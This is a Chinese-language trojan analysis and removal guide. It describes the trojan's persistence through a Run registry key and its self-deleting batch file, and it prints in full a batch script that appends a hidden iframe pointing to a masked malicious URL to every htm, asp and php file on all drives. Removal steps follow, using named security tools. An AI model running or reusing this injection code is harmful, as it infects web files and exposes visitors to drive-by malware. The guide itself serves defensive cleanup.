病毒分析：
木马运行后复制副本到系统目录和IE临时目录：
%System%\win32.exe
%ietemp%\qq.exe
创建启动项：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"qq"="%System%\win32.exe"
在当前目录生成批处理kill.bat删除自身原文件：
以下是引用片段：
:redel
del "{原文件}"
if exist "{原文件}" goto redel
del %0
在IE临时目录生成批处理1.bat：
[Copy to clipboard] [ - ]CODE:
@echo off
for %%a in ({各分区}) do (
if exist %%a:\nul (
for /f "tokens=*" %%b in ('dir /s/b/a-d %%a:\*.htm') do (echo ^<iframe src="http://www.****.com" width=0 height=0 border=0^>^</iframe^>>> "%%b")))
@echo off
for %%a in ({各分区}) do (
if exist %%a:\nul (
for /f "tokens=*" %%b in ('dir /s/b/a-d %%a:\*.asp') do (echo ^<iframe src=http://www.****.com width=0 height=0 border=0^>^</iframe^>>> "%%b")))
@echo off
for %%a in ({各分区}) do (
if exist %%a:\nul (
for /f "tokens=*" %%b in ('dir /s/b/a-d %%a:\*.php') do (echo ^<iframe src=http://www.****.com width=0 height=0 border=0^>^</iframe^>>> "%%b"))) |
往各分区下所有htm*、asp*、php*文件的末尾添加恶意代码：
<iframe src="http://www.****.com" width=0 height=0 border=0></iframe>
访问网络下载其它病毒、木马或恶意程序到%UserProfile%\Local Settings目录下并运行，文件名为Temporary Internet Files加数字。
查杀清除方法：
下载sreng2.zip和IceSword120_cn.zip(以下简称冰刃)
SReng2:http://www.motoyi.com/Down/Noted/200705/Down_28.shtml
IceSword120:http://www.motoyi.com/Down/Noted/200704/Down_10.shtml
1. 删除木马创建的启动项（打开冰刃－注册表－依次找到病毒注册表选项删除即可）：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"qq"="%System%\win32.exe"
2. 删除木马相关文件（详细步骤：打开冰刃－文件－依次找到病毒文件删除即可）：
%System%\win32.exe
%ietemp%\qq.exe
%ietemp%\1.bat
%UserProfile%\Local Settings\Temporary Internet Files{数字}.exe
%Windows%\1.ini
3. 使用工具清除htm*、asp*、php*文件末尾被添加的恶意代码(建议使用360安全卫士进行其它清理)
360安全卫士下载：http://down.360safe.com/setup.exe |
您现在的位置： 